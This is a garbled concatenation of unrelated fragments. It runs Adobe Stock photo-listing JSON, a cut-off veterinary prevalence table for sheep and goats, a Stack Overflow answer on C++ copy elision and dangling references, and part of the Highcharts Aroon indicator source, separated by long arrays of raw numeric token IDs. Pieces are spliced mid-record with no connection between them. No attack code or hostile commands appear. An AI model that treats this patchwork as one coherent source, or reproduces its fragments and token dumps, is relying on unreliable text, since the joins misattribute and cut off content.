Stock","is_rush_mobile_compatible":false,"thumbnail_url":"https:\/\/t4.ftcdn.net\/jpg\/01\/95\/47\/61\/240_F_195476172_CzUxceR0PEJ38QblethuvTxorR3h3BJ6.jpg","thumbnail_width":359.55056179775277769294916652143001556396484375,"thumbnail_height":240,"getSubtypeLabel":null,"is_licensed":false,"media_type_label":"Photo","video_small_preview_url":null,"order_key":75,"category_hierarchy":"","avatar":null,"artist_page_url":"\/contributor\/207585421\/jaqueline?load_type=author","is_premium":false,"extended_license_price":"US$79.99","license_details":{"1":{"product_key":"\/Applications\/StockPT1","license_price":"","facing_price":""},"2":{"product_key":"\/Applications\/StockPT5","license_price":"US$79.99","facing_price":""}},"is_allowed_and_purchasable":false},"164398760":{"content_id":164398760,"title":"love","content_type_id":1,"content_type":"image\/jpeg","content_thumb_url":"https:\/\/as2.ftcdn.net\/jpg\/01\/64\/39\/87\/160_F_164398760_oemjKDBUlW90FmlYVqMYUCah8wB5zdod.jpg","content_thumb_large_url":"https:\/\/as2.ftcdn.net\/jpg\/01\/64\/39\/87\/500_F_164398760_oemjKDBUlW90FmlYVqMYUCah8wB5zdod.jpg","content_height":334,"content_width":500,"content_original_height":3648,"content_original_width":5472,"format":"jpeg","comp_file_path":"https:\/\/stock.adobe.com\/Download\/Watermarked\/164398760","author":"Tony","author_url":"\/search?creator_id=207106971","content_url":"https:\/\/stock.adobe.com\/images\/love\/164398760","is_purchasable":true,"is_template":false,"is_chin_below":false,"is_video":false,"is_3D":false,"is_image":true,"is_vector":false,"is_similar_id":false,"is_similarity_search_allowed":true,"possible_licenses":[1,2],"asset_type":"Image","category":{"id":695,"name":"People"},"premium_level":{"1":"image\|standard\|core\|full\|PT1","2":"image\|extended\|core\|full\|PT5"},"premium_level_id":0,"meta_description":"love - Buy this stock photo and explore similar images at Adobe Stock","is_rush_mobile_compatible":false,"thumbnail_url":"https:\/\/t4.ftcdn.net\/jpg\/01\/64\/39\/87\/240_F_164398760_oemjKDBUlW90FmlYVqMYUCah8wB5zdod.jpg","thumbnail_width":359.55056179775277769294916652143001556396484375,"thumbnail_height":240,"getSubtypeLabel":null,"is_licensed":false,"media_type_label":"Photo","video_small_preview_url":null,"order_key":76,"category_hierarchy":"","avatar":null,"artist_page_url":"\/contributor\/207106971\/tony?load_type=author","is_premium":false,"extended_license_price":"US$79.99","license_details":{"1":{"product_key":"\/Applications\/StockPT1","license_price":"","facing_price":""},"2":{"product_key":"\/Applications\/StockPT5","license_price":"US$79.99","facing_price":""}},"is_allowed_and_purchasable":false},"80607195":{"content_id":80607195,"title":"Romance under caribbean sunset","content_type_id":1,"content_type":"image\/jpeg","content_thumb_url":"https:\/\/as2.ftcdn.net\/jpg\/00\/80\/60\/71\/160_F_80607195_L3BslROYtmXGGG97LMjySH3WdDT8oNf0.jpg","content_thumb_large_url":"https:\/\/as2.ftcdn.net\/jpg\/00\/80\/60\/71\/500_F_80607195_L3BslROYtmXGGG97LMjySH3WdDT8oNf0.jpg","content_height":500,"content_width":440,"content_original_height":3299,"content_original_width":2900,"format":"jpeg","comp_file_path":"https:\/\/stock.adobe.com\/Download\/Watermarked\/80607195","author":"gdvcom","author_url":"\/search?creator_id=202311954","content_url":"https:\/\/stock.adobe.com\/images\/romance-under-caribbean-sunset\/80607195","is_purchasable":true,"is_template":false,"is_chin_below":false,"is_video":false,"is_3D":false,"is_image":true,"is_vector":false,"is_similar_id":false,"is_similarity_search_allowed":true,"possible_licenses":[1,2],"asset_type":"Image","category":{"id":1062,"name":"Caribbean"},"premium_level":{"1":"image\|standard\|core\|full\|PT1","2":"image\|extended\|core\|full\|PT5"},"premium_level_id":0,"meta_description":"Romance under caribbean sunset - Buy this stock photo and explore similar images at Adobe Stock","is_rush_mobile_compatible":false,"thumbnail_url":"https:\/\/t4.ftcdn.net\/jpg\/00\/80\/60\/71\/240_F_80607195_L3BslROYtmXGGG97LMjySH3WdDT8oNf0.jpg","thumbnail_width":211.19999999999998863131622783839702606201171875,"thumbnail_height":240,"getSubtypeLabel":null,"is_licensed":false,"media_type_label":"Photo","video_small_preview_url":null,"order_key":77,"category_hierarchy":"","avatar":null,"artist_page_url":"\/contributor\/202311954
[ 13, 7751, 13, 4240, 283, 7798, 15, 535, 50276, 39423, 10428, 187, 50264, 23067, 1715, 4878, 2148, 50275, 39430, 61, 50273, 12558, 32556, 50275, 2290, 41150, 50274, 6504, 16736, 267, 61, 50275, 1044, 798, 61, 50273, 45, 2373, 50272, 52, 713, 257, 50273, 688, 2566, 989, 61, 187, 50254, 50270, 13788, 2148, 50254, 50274, 13788, 2148, 50269, 13788, 2148, 50254, 50275, 46, 1028, 6859, 187, 50276, 9998, 22971, 16213, 14796, 16213, 16913, 16213, 16213, 16213, 15369, 187, 50276, 424, 2993, 554, 424, 50254, 50254, 50254, 50254, 50272, 15267, 50276, 40385, 50274, 23926, 50263, 15645, 50270, 24137, 50269, 16552, 50270, 24208, 50266, 20210, 50270, 16150, 50270, 4185, 50269, 3031, 535, 50276, 19182, 50268, 19, 15, 20, 50263, 19, 15, 25, 50270, 19, 15, 20, 50269, 19, 15, 19, 50270, 18, 15, 25, 50266, 18, 15, 21, 50270, 17, 15, 26, 50270, 17, 15, 23, 50270, 18, 15, 19, 535, 50276, 2222, 6, 7309, 6, 50273, 19, 15, 18, 283, 19, 15, 22, 50268, 19, 15, 22, 283, 20, 15, 17, 50275, 19, 15, 18, 283, 19, 15, 23, 50274, 18, 15, 26, 283, 19, 15, 21, 50275, 18, 15, 23, 283, 19, 15, 17, 50271, 18, 15, 20, 283, 18, 15, 23, 50275, 17, 15, 24, 283, 18, 15, 17, 50275, 17, 15, 22, 283, 17, 15, 24, 50275, 18, 15, 18, 283, 18, 15, 21, 535, 50276, 424, 6826, 1832, 424, 50254, 50254, 50254, 50254, 50272, 15267, 50276, 40385, 50274, 1438, 50262, 3245, 50269, 3141, 50268, 3677, 50269, 2504, 50265, 17, 50268, 17, 50268, 17, 50268, 17, 535, 50276, 19182, 50268, 18, 15, 18, 50263, 18, 15, 18, 50270, 18, 15, 17, 50269, 17, 15, 26, 50270, 17, 15, 23, 50254, 979, 50263, 535, 50276, 2222, 6, 7309, 6, 50273, 17, 15, 25, 283, 18, 15, 20, 50268, 17, 15, 26, 283, 18, 15, 21, 50275, 17, 15, 25, 283, 18, 15, 20, 50274, 17, 15, 24, 283, 18, 15, 19, 50275, 17, 15, 22, 283, 17, 15, 25, 50254, 245, 50265, 2490, 50276, 39423, 10428, 187, 50, 27, 187, 187, 1672, 20692, 314, 11352, 1620, 14, 2327, 3491, 16757, 1918, 18122, 2228, 187, 187, 42, 717, 16994, 247, 19662, 12547, 1332, 326, 588, 1379, 247, 1979, 1318, 285, 1978, 253, 298, 14, 2877, 3806, 15, 187, 32244, 789, 4030, 285, 275, 436, 2127, 253, 6860, 310, 281, 897, 253, 308, 10494, 50276, 36073, 15, 187, 6436, 13, 604, 309, 11120, 11352, 253, 3491, 16757, 253, 17963, 588, 1918, 271, 2228, 27, 187, 4, 3709, 654, 68, 8400, 565, 31, 187, 4, 3709, 654, 881, 64, 32172, 31, 187, 4, 3709, 654, 307, 874, 31, 187, 187, 8547, 654, 15295, 308, 426, 6268, 1450, 8531, 1540, 64, 85, 31, 187, 2437, 19662, 12547, 551, 187, 50276, 4387, 27, 2490, 50274, 5302, 1979, 64, 881, 426, 6268, 1450, 8531, 1540, 64, 85, 28, 187, 50274, 5302, 8078, 426, 6268, 1450, 35428, 64, 85, 29, 8400, 1450, 261, 64, 77, 2877, 64, 14005, 29, 53, 14157, 2877, 13, 1030, 1979, 64, 881, 7, 13, 1979, 64, 881, 21431, 187, 50274, 17243, 1030, 8078, 7, 755, 1082, 1030, 551, 1091, 795, 3281, 28, 748, 535, 50274, 5496, 12547, 9, 53, 10494, 18558, 10, 1163, 795, 3281, 9, 8400, 1450, 10495, 29, 53, 8743, 20932, 1228, 551, 748, 187, 50274, 5496, 12547, 7, 5572, 426, 313, 3474, 19662, 12547, 7, 10, 426, 11352, 28, 535, 50274, 5496, 12547, 9, 3474, 19662, 12547, 7, 10, 426, 11352, 28, 50275, 605, 1621, 2228, 604, 436, 1386, 5176, 535, 50276, 9486, 27, 187, 50274, 2548, 795, 3281, 28, 187, 4718, 187, 187, 8547, 654, 15295, 308, 31, 187, 5496, 12547, 29, 53, 31, 1056, 64, 3281, 64, 7784, 9, 53, 10494, 246, 10, 551, 187, 50276, 2309, 6268, 1450, 10495, 29, 53, 8743, 85, 558, 187, 94, 187, 187, 565, 2022, 1082, 187, 92, 187, 50274, 565, 247, 426, 898, 28, 187, 50274, 11145, 64, 3281, 64, 7784, 9, 66, 558, 187, 94, 187, 187, 4967, 310, 436, 9369, 32, 380, 3491, 16757, 943, 1620, 320, 1925, 275, 436, 1083, 15, 187, 187, 34, 27, 187, 187, 510, 1159, 1056, 64, 3281, 64, 7784, 6548, 19662, 12547, 29, 53, 31, 407, 1318, 15, 187, 1466, 434, 39994, 849, 1159, 10884, 407, 1318, 2987, 27, 187, 187, 2512, 310, 247, 11287, 1789, 3798, 1925, 253, 1091, 1318, 1789, 15, 187, 2214, 253, 1083, 1091, 2048, 28, 27, 187, 187, 510, 2048, 3491, 14, 19078, 4219, 253, 1091, 1318, 1789, 15, 187, 1552, 310, 247, 3491, 1045, 1297, 3634, 15, 187, 187, 2214, 253, 1083, 1091, 551, 5058, 64, 263, 64, 3062, 64, 15565, 7734, 27, 187, 187, 510, 1308, 2575, 1618, 3491, 14, 3550, 14, 19078, 4219, 253, 1091, 1318, 1789, 15, 187, 187, 2042, 253, 6789, 2127, 3302, 4219, 271, 4778, 342, 253, 1159, 1067, 13, 840, 253, 1091, 1318, 1789, 310, 253, 3302, 6081, 15, 313, 510, 3242, 830, 273, 31850, 778, 6889, 7293, 327, 253, 6789, 2127, 481, 1198, 31850, 273, 271, 1789, 13, 436, 310, 671, 247, 3491, 1045, 1297, 3634, 15, 187, 187, 688, 634, 2127, 13, 1056, 64, 3281, 64, 7784, 9, 66, 10, 31363, 707, 308, 313, 783, 4764, 273, 1056, 64, 3281, 64, 7784, 2387, 281, 540, 7, 13, 984, 436, 310, 247, 3962, 45279, 10076, 15, 187, 510, 8164, 2492, 273, 1056, 64, 3281, 64, 7784, 323, 436, 308, 4453, 751, 13, 846, 16122, 562, 6268, 1450, 10495, 27, 187, 5496, 12547, 29, 565, 7, 31, 1056, 64, 3281, 64, 7784, 9, 565, 7, 246, 10, 187, 92, 187, 50274, 2309, 246, 28, 187, 94, 187, 187, 12157, 4228, 64, 4008, 29, 565, 7, 8743, 85, 10, 310, 816, 253, 1072, 347, 246, 1157, 1580, 246, 310, 2168, 271, 298, 2877, 273, 1511, 540, 15, 187, 187, 1909, 5393, 4321, 13, 436, 2127, 3491, 14, 19078, 4219, 253, 1091, 1318, 1789, 15, 1893, 253, 2127, 1024, 37824, 3686, 273, 751, 27, 187, 5496, 12547, 29, 565, 7, 31, 14712, 64, 23667, 426, 246, 28, 187, 187, 395, 984, 246, 310, 417, 247, 19662, 12547, 13, 253, 5426, 273, 3491, 14, 19078, 1320, 310, 326, 436, 310, 253, 1072, 347, 27, 187, 5496, 12547, 29, 565, 7, 31, 14712, 64, 23667, 426, 19662, 12547, 29, 565, 7, 8743, 85, 558, 187, 187, 4609, 9090, 828, 7095, 247, 3491, 16, 15106, 4254, 281, 26641, 14712, 64, 23667, 432, 247, 11287, 273, 1511, 19662, 12547, 29, 565, 7, 13208, 4129, 436, 3491, 651, 320, 1045, 1356, 407, 3491, 1045, 1297, 13, 253, 12482, 3491, 16, 15106, 16757, 1364, 2226, 15, 187, 187, 510, 2900, 5125, 407, 24064, 351, 2945, 13, 8133, 1308, 1951, 1475, 253, 1091, 2048, 13, 2987, 984, 253, 6425, 31850, 310, 1024, 3491, 14, 3550, 14, 19078, 1320, 27, 187, 5496, 12547, 29, 565, 7, 31, 14712, 64, 3550, 64, 23667, 551, 246, 7734, 187, 187, 4609, 3302, 4219, 14712, 64, 3550, 64, 23667, 970, 253, 19662, 12547, 29, 565, 7, 8743, 565, 7, 10, 16757, 15, 187, 187, 23097, 28, 5402, 2127, 556, 247, 4858, 7505, 27, 1580, 8078, 310, 1030, 4770, 1540, 64, 85, 708, 13, 50276, 783, 31850, 273, 795, 3281, 432, 540, 10513, 247, 11287, 534, 310, 11069, 672, 253, 19662, 12547, 16757, 29141, 28, 285, 594, 253, 6809, 6548, 342, 247, 277, 36874, 3806, 15, 502, 606, 42169, 670, 436, 13, 533, 305, 3424, 2506, 626, 15, 209, 187, 1992, 4993, 436, 27, 368, 2057, 878, 281, 1818, 8078, 281, 320, 253, 1072, 347, 308, 7, 594, 352, 22294, 3587, 281, 247, 13, 299, 15, 72, 12567, 187, 5302, 1979, 64, 881, 426, 7919, 6268, 1450, 12163, 64, 14005, 29, 53, 14157, 881, 28, 187, 187, 263, 1056, 795, 3281, 417, 320, 247, 3806, 15, 733, 3133, 253, 6158, 651, 13313, 253, 2644, 4096, 273, 634, 6809, 13, 594, 368, 1537, 878, 281, 294, 18959, 634, 2216, 247, 2372, 15, 187, 1992, 3693, 253, 6387, 273, 11365, 436, 277, 5610, 3806, 13, 1818, 1030, 1979, 64, 881, 708, 281, 1979, 64, 881, 708, 275, 253, 17697, 64, 85, 15, 50276, 5872, 253, 17963, 313, 37411, 368, 1472, 417, 970, 7852, 12548, 10, 588, 1127, 562, 253, 1895, 15, 535, 3122, 475, 187, 475, 187, 475, 50276, 17736, 27, 8280, 15, 8656, 45945, 15, 681, 16, 21997, 187, 475, 187, 475, 50276, 18963, 15844, 322, 22656, 19220, 52, 46902, 4350, 3077, 1703, 9149, 308, 15575, 1410, 22068, 15, 17675, 22465, 15691, 35310, 15, 2195, 18963, 4672, 187, 475, 187, 475, 1738, 187, 2948, 11760, 30301, 432, 686, 4598, 13745, 16, 30301, 16, 30301, 15, 4305, 5618, 187, 2948, 20815, 34320, 35394, 249, 432, 686, 4598, 35394, 968, 16, 29454, 34320, 15, 4305, 5618, 187, 2948, 530, 432, 686, 4598, 13745, 16, 12804, 1005, 15, 4305, 5618, 187, 2044, 17310, 426, 530, 15, 27814, 13, 2619, 426, 530, 15, 29397, 28, 187, 2948, 33378, 52, 3788, 8207, 28288, 15, 4305, 5618, 187, 3122, 1578, 41857, 14, 25902, 3588, 14, 4305, 7152, 1738, 187, 605, 28218, 84, 187, 605, 13193, 273, 3284, 342, 9559, 1318, 432, 3781, 313, 1222, 390, 2781, 10, 187, 6930, 187, 475, 1214, 9486, 187, 1738, 187, 3701, 755, 7992, 4190, 6060, 688, 6542, 9, 3298, 13, 9559, 10, 551, 187, 50274, 2044, 9559, 3902, 426, 4077, 60, 17, 1092, 1318, 6060, 426, 470, 13, 891, 28, 187, 50274, 1542, 313, 74, 426, 337, 28, 891, 654, 4077, 15, 3985, 28, 891, 9234, 551, 187, 50270, 338, 313, 2068, 4190, 11013, 686, 4090, 8, 3857, 4077, 60, 74, 62, 10122, 9559, 3902, 2785, 187, 50266, 2068, 4190, 11013, 686, 1222, 8, 3857, 4077, 60, 74, 62, 11049, 9559, 3902, 10, 551, 187, 50266, 2068, 4190, 3902, 426, 4077, 60, 74, 2194, 187, 50266, 2877, 6060, 426, 891, 28, 187, 50270, 94, 187, 50274, 94, 187, 50274, 2309, 1318, 6060, 28, 187, 94, 187, 3122, 1578, 41857, 14, 14760, 3588, 14, 4305, 7152, 1738, 187, 6930, 187, 475, 380, 329, 287, 251, 2962, 1511, 15, 187, 475, 187, 475, 1214, 9486, 187, 475, 1214, 2437, 187, 475, 1214, 1590, 4855, 45945, 15, 22253, 15668, 15, 274, 3508, 187, 475, 187, 475, 1214, 2321, 942, 4855, 45945, 15, 30301, 187, 1738, 187, 8932, 30301, 15, 22253, 2548, 2073, 274, 3508, 1383, 686, 84, 785, 1383, 209, 187, 6930, 187, 475, 329, 287, 251, 15, 831, 2962, 4419, 253, 2634, 16862, 1992, 65, 4500, 281, 320, 187, 475, 873, 285, 943, 320, 10607, 846, 253, 2634, 17764, 16, 527, 280, 2392, 16, 527, 280, 2392, 15, 4305, 16433, 187, 475, 187, 475, 1214, 16848, 551, 8656, 17764, 94, 5739, 16, 527, 280, 2392, 16, 274, 3508, 187, 475, 50269, 34, 287, 251, 187, 475, 187, 475, 1214, 2068, 1727, 50272, 14095, 10976, 15, 84, 785, 187, 475, 1214, 17480, 50270, 24, 15, 17, 15, 17, 187, 475, 1214, 7509, 50272, 8656, 17764, 187, 475, 1214, 911, 6547, 50274, 455, 6723, 284, 13, 3295, 30056, 13, 7277, 13, 7277, 8932, 13, 6604, 3463, 13, 10149, 13, 187, 475, 50263, 8002, 22853, 10976, 13, 1127, 27068, 13, 1127, 27068, 14074, 13, 187, 475, 50263, 3659, 3493, 3913, 13, 1127, 12519, 13, 1127, 8252, 13, 921, 688, 14749, 22853, 13, 187, 475, 50263, 9742, 272, 187, 475, 1214, 36042, 50273, 17764, 16, 527, 280, 2392, 16, 527, 280, 2392, 187, 475, 1214, 36042, 50273, 17764, 16, 527, 280, 2392, 16, 274, 3508, 187, 475, 1214, 7872, 5598, 7484, 10976, 15, 274, 3508, 187, 1738, 187, 92, 187, 50274, 6930, 187, 50273, 11, 2956, 312, 1336, 908, 275, 10272, 273, 247, 287, 251, 2962, 2792, 15, 187, 50273, 11, 187, 50273, 11, 1214, 911, 6547, 9894, 13, 3605, 187, 50273, 8480, 187, 50274, 12928, 27, 551, 187, 50270, 6930, 187, 50269, 11, 25792, 323, 329, 287, 251, 15301, 187, 50269, 8480, 187, 50270, 17911, 27, 2030, 187, 50274, 2023, 187, 50274, 39754, 27, 551, 187, 50270, 22331, 27, 3221, 187, 50274, 2023, 187, 50274, 40927, 27, 551, 187, 50270, 3659, 10069, 27, 21083, 2551, 3740, 568, 4897, 41924, 3659, 15, 4897, 94, 1138, 61, 86, 1099, 7386, 870, 2551, 2730, 67, 31, 551, 22253, 15, 1590, 28379, 67, 2730, 1288, 4357, 34, 287, 251, 5863, 27, 551, 3659, 15, 90, 27482, 1288, 4357, 34, 287, 251, 9792, 27, 551, 3659, 15, 274, 3508, 10854, 27482, 1288, 4357, 8, 187, 50274, 2023, 187, 50274, 6930, 187, 50273, 11, 247, 287 ]	, Iran, 2017--2018. ----------------------------------------------------------------------------------------------------------------------------- Masseter Muscle Heart\ Diaphragm Triceps Intercostal\ Thigh\ Liver Spleen Intestinal\ Muscle Muscle Muscle Mucosa ----------- ----------------- ---------- ----------- ---------- -------------- ---------- ---------- ---------- ------------- Sheep Positive 368 450 380 350 289 234 143 98 199 \% 2.3 2.8 2.3 2.2 1.8 1.4 0.9 0.6 1.2 95% CI% 2.1--2.5 2.5--3.0 2.1--2.6 1.9--2.4 1.6--2.0 1.3--1.6 0.7--1.0 0.5--0.7 1.1--1.4 Goats Positive 80 83 78 71 47 0 0 0 0 \% 1.1 1.1 1.0 0.9 0.6 95% CI% 0.8--1.3 0.9--1.4 0.8--1.3 0.7--1.2 0.5--0.8 ----------------------------------------------------------------------------------------------------------------------------- Q: Explicitly delete never-use copy constructor give compile error I am implementing a SizeTag method that will take a size value and keep the l-value reference. Things work fine and in this code the intent is to use the T&& constructor. However, if I explicitly delete the copy constructor the compiler will give an error: #include <cstdint> #include <type_traits> #include <utility> template <typename T = std::uint64_t> class SizeTag { public: using size_type = std::uint64_t; using Type = std::conditional_t<std::is_lvalue_reference<T>::value, const size_type&, size_type>; inline const Type& get() const { return _size; } SizeTag(T&& sz) : _size(std::forward<T>(sz)) { } SizeTag& operator = (const SizeTag&) = delete; SizeTag(const SizeTag&) = delete; // No error if this line removed private: Type _size; }; template <typename T> SizeTag<T> make_size_tag(T&& t) { return std::forward<T>(t); } int main() { int a = 9; make_size_tag(a); } Why is this happening? The copy constructor should never be called in this case. A: The function make_size_tag returns SizeTag<T> by value. Let's recap how function returning by value works: There is a temporary object usually called the return value object. For the case return expression;: The expression copy-initializes the return value object. This is a copy elision context. For the case return { zero_or_more_items };: The braced list copy-list-initializes the return value object. If the calling code initializes an variable with the function call, then the return value object is the initializer. (The exact form of initialization may vary depending on the calling code). For initialization of an object, this is also a copy elision context. In your code, make_size_tag(a) deduces T (the parameter of make_size_tag ) to int&, because this is a perfect forwarding scenario. The instantiation of make_size_tag for this T looks like, after expanding out std::forward: SizeTag<int&> make_size_tag(int& t) { return t; } because static_cast<int&>(t) is just the same as t, since t is already an lvalue of type int. As mentioned earlier, this code copy-initializes the return value object. So the code now behaves sort of like: SizeTag<int&> temp_rv = t; and because t is not a SizeTag, the definition of copy-initialization is that this is the same as: SizeTag<int&> temp_rv = SizeTag<int&>(t); which obviously invokes a copy/move operation to initialize temp_rv from a temporary of type SizeTag<int&>. Although this copy would be elided by copy elision, the accessible copy/move constructor must exist. The solution suggested by Jarod42, putting braces around the return expression, works because the equivalent initialization is now copy-list-initialization: SizeTag<int&> temp_list_rv { t }; which initializes temp_list_rv using the SizeTag<int&>(int&) constructor. NB; Your code has a separate bug: since Type is const uint64_t &, the initialization of _size from int creates a temporary which is destroyed when the SizeTag constructor completes; and so the tag returns with a dangling reference. clang warns about this, but g++ doesn't. To fix this: you either need to change Type to be the same as T& so it binds directly to a, e.g.: using size_type = typename std::remove_reference<T>::type; or make _size not be a reference. It seems the latter would defeat the whole purpose of your tag, so you might need to rethink your design a bit. To avoid the possibility of generating this danging reference, change const size_type & to size_type & in the conditional_t. Then the compiler (assuming you're not using MSVC) will point out the problem. /* * * * License: www.highcharts.com/license * * !!!!!!! SOURCE GETS TRANSPILED BY TYPESCRIPT. EDIT TS FILE ONLY.!!!!!!! * * / import BaseSeries from '../../Core/Series/Series.js'; import MultipleLinesMixin from '../../Mixins/MultipleLines.js'; import U from '../../Core/Utilities.js'; var merge = U.merge, pick = U.pick; import './SMAIndicator.js'; / eslint-disable valid-jsdoc / // Utils // Index of element with extreme value from array (min or max) /* * @private / function getExtremeIndexInArray(arr, extreme) { var extremeValue = arr[0], valueIndex = 0, i; for (i = 1; i < arr.length; i++) { if (extreme ==='max' && arr[i] >= extremeValue \|\| extreme ==='min' && arr[i] <= extremeValue) { extremeValue = arr[i]; valueIndex = i; } } return valueIndex; } / eslint-enable valid-jsdoc / /* * The Aroon series type. * * @private * @class * @name Highcharts.seriesTypes.aroon * * @augments Highcharts.Series / BaseSeries.seriesType('aroon','sma', /* * Aroon. This series requires the `linkedTo` option to be * set and should be loaded after the `stock/indicators/indicators.js`. * * @sample {highstock} stock/indicators/aroon * Aroon * * @extends plotOptions.sma * @since 7.0.0 * @product highstock * @excluding allAreas, colorAxis, compare, compareBase, joinBy, keys, * navigatorOptions, pointInterval, pointIntervalUnit, * pointPlacement, pointRange, pointStart, showInNavigator, * stacking * @requires stock/indicators/indicators * @requires stock/indicators/aroon * @optionparent plotOptions.aroon / { /* * Paramters used in calculation of aroon series points. * * @excluding periods, index / params: { /* * Period for Aroon indicator / period: 25 }, marker: { enabled: false }, tooltip: { pointFormat: '<span style="color:{point.color}">\u25CF</span><b> {series.name}</b><br/>Aroon Up: {point.y}<br/>Aroon Down: {point.aroonDown}<br/>' }, /* * aro
[ 715, 253, 6179, 2316, 13, 521, 15944, 4745, 1469, 281, 25975, 15, 346, 6723, 368, 2119, 368, 6468, 626, 1119, 1633, 1060, 326, 434, 625, 1774, 865, 187, 187, 11223, 785, 1904, 626, 3662, 13, 533, 703, 11373, 387, 12429, 672, 344, 2206, 12200, 617, 285, 1691, 521, 4430, 1475, 617, 9215, 15, 187, 187, 3220, 2656, 13, 35503, 1869, 13, 1110, 767, 497, 594, 275, 2389, 13, 352, 1160, 617, 2798, 49652, 15, 1310, 760, 627, 497, 690, 1039, 281, 1056, 25975, 11476, 352, 1078, 352, 369, 1512, 3563, 15, 187, 187, 15883, 5725, 13, 703, 1869, 359, 3441, 15, 1500, 651, 7664, 670, 326, 10873, 15, 43935, 703, 574, 816, 2217, 4757, 1669, 281, 12518, 323, 9069, 434, 2120, 7355, 15, 187, 187, 817, 3307, 187, 187, 11223, 785, 812, 452, 21567, 323, 247, 2129, 13, 533, 3185, 13, 703, 6034, 281, 1527, 253, 277, 7068, 987, 327, 673, 387, 721, 27, 361, 247, 15, 78, 15, 387, 617, 3101, 434, 45095, 15, 1500, 3260, 352, 574, 281, 320, 2218, 15, 496, 958, 13, 703, 3260, 1805, 685, 3780, 849, 4619, 1046, 14838, 369, 841, 1897, 13, 533, 703, 651, 452, 1677, 2712, 323, 1014, 271, 4964, 275, 3722, 846, 9100, 954, 273, 253, 2360, 387, 253, 4675, 15, 187, 187, 1145, 42947, 16846, 6518, 281, 47122, 617, 13, 533, 352, 369, 253, 8184, 273, 12429, 6179, 323, 617, 275, 253, 35664, 326, 1160, 617, 10724, 1625, 15, 754, 8715, 626, 1669, 617, 1930, 512, 2360, 15, 2091, 344, 1871, 3982, 617, 407, 253, 2419, 4321, 281, 1818, 10015, 13, 344, 1871, 753, 344, 651, 320, 896, 285, 344, 369, 13, 5747, 617, 4154, 326, 344, 3058, 4600, 15, 1500, 812, 1385, 327, 779, 281, 513, 4555, 752, 344, 753, 344, 1871, 513, 15, 3032, 13367, 369, 1633, 703, 1871, 1705, 281, 17767, 13, 281, 1333, 2717, 273, 253, 1039, 521, 26847, 812, 2157, 482, 617, 15, 1500, 1871, 644, 2820, 1892, 417, 281, 23031, 327, 326, 15, 733, 1694, 275, 253, 1039, 273, 2509, 752, 703, 3260, 703, 574, 281, 513, 15, 187, 187, 3, 42, 2183, 368, 281, 3297, 1728, 285, 755, 690, 4600, 937, 703, 660, 28102, 13, 1014, 347, 703, 1694, 715, 253, 2914, 7319, 273, 521, 1113, 15, 1500, 574, 281, 3819, 417, 281, 9644, 896, 1411, 253, 26938, 621, 285, 2810, 617, 2927, 15, 1310, 703, 6497, 17390, 1024, 13, 703, 1871, 4600, 323, 247, 1770, 15, 187, 187, 3, 42, 2183, 368, 253, 1072, 2181, 15, 3262, 405, 359, 1472, 1097, 32864, 937, 344, 753, 38920, 15, 346, 42, 3260, 368, 1871, 23103, 327, 21130, 14596, 1728, 15, 3808, 2915, 556, 281, 1361, 562, 387, 253, 32257, 15, 1422, 476, 626, 513, 352, 512, 449, 187, 187, 3, 42, 812, 452, 7303, 937, 703, 16701, 15, 187, 187, 3, 1989, 1024, 368, 1053, 626, 452, 281, 449, 187, 187, 2993, 3534, 779, 247, 14442, 1007, 15, 346, 8398, 368, 449, 187, 187, 3, 1145, 1767, 553, 13, 49541, 15, 1422, 871, 326, 449, 187, 187, 2993, 858, 15, 4952, 672, 703, 1871, 644, 32986, 342, 779, 323, 417, 7746, 617, 344, 1871, 644, 3206, 342, 26355, 13, 703, 574, 1929, 326, 344, 651, 1620, 275, 247, 3041, 1107, 1339, 617, 1066, 15, 3105, 1663, 15, 187, 187, 3, 42, 7560, 281, 634, 2243, 247, 1643, 2909, 3622, 937, 344, 2183, 617, 15, 346, 2993, 2296, 9069, 310, 2509, 1805, 15, 754, 434, 625, 10028, 436, 4131, 285, 597, 1472, 9745, 779, 12561, 275, 247, 1643, 2909, 449, 187, 187, 3, 8398, 2656, 323, 23442, 13, 28612, 13917, 285, 500, 311, 466, 15, 1583, 6468, 626, 1669, 617, 1930, 323, 247, 7017, 449, 187, 187, 3, 2773, 434, 752, 3858, 513, 937, 12429, 753, 15, 346, 15168, 2998, 275, 247, 3874, 751, 17802, 330, 710, 449, 187, 187, 11223, 785, 3261, 387, 779, 285, 3260, 326, 703, 1871, 1119, 253, 1072, 8933, 1632, 275, 779, 13, 285, 594, 1199, 625, 15, 346, 42, 871, 937, 703, 753, 23727, 15, 346, 1394, 10256, 479, 326, 449, 187, 187, 2214, 247, 7017, 352, 3261, 347, 604, 344, 1537, 2315, 253, 2256, 13, 533, 840, 597, 497, 387, 253, 277, 7068, 285, 627, 497, 247, 3041, 285, 581, 1841, 281, 513, 281, 320, 4704, 323, 253, 12561, 16949, 15, 1500, 369, 24192, 417, 281, 452, 281, 2968, 342, 512, 253, 3533, 344, 369, 3033, 281, 452, 670, 616, 2852, 15, 754, 29774, 9172, 13, 1014, 281, 253, 440, 33065, 3533, 13, 533, 703, 3260, 344, 3589, 626, 1469, 281, 751, 731, 285, 703, 18638, 264, 2403, 779, 26442, 15, 187, 187, 8398, 2920, 13, 703, 574, 1652, 673, 281, 7664, 670, 352, 15, 6000, 7731, 665, 2210, 949, 253, 3369, 326, 4131, 4455, 281, 452, 3735, 670, 9069, 13, 2568, 417, 247, 581, 273, 731, 753, 2712, 3883, 267, 15, 25975, 3078, 281, 3501, 387, 253, 4468, 597, 4469, 15, 4952, 443, 12424, 285, 3972, 2205, 275, 616, 1211, 26970, 567, 1039, 3597, 281, 1361, 15, 187, 187, 3, 1394, 878, 479, 387, 253, 32257, 13, 309, 9428, 309, 476, 1056, 11624, 347, 1175, 347, 12429, 434, 937, 443, 12424, 753, 13, 2819, 387, 253, 36369, 4840, 326, 574, 644, 1160, 273, 521, 689, 14, 46711, 1340, 15, 187, 187, 11223, 785, 12918, 15, 346, 42, 1833, 1978, 326, 275, 2564, 449, 187, 187, 3, 1147, 434, 417, 751, 359, 1705, 1060, 816, 323, 253, 2739, 937, 3972, 2205, 2879, 15, 346, 1552, 1659, 310, 1728, 285, 368, 6068, 403, 2021, 15, 309, 812, 1056, 247, 1943, 1721, 273, 20001, 81, 49072, 323, 11157, 15, 3808, 5412, 18377, 1537, 320, 816, 253, 2181, 327, 247, 2870, 14743, 1388, 751, 436, 449, 187, 187, 11223, 785, 15014, 387, 779, 347, 604, 344, 1871, 816, 13452, 275, 4235, 1240, 3093, 15, 346, 1394, 476, 1056, 20001, 81, 49072, 865, 187, 187, 3, 1898, 247, 2257, 625, 937, 443, 12424, 2183, 617, 13, 5001, 521, 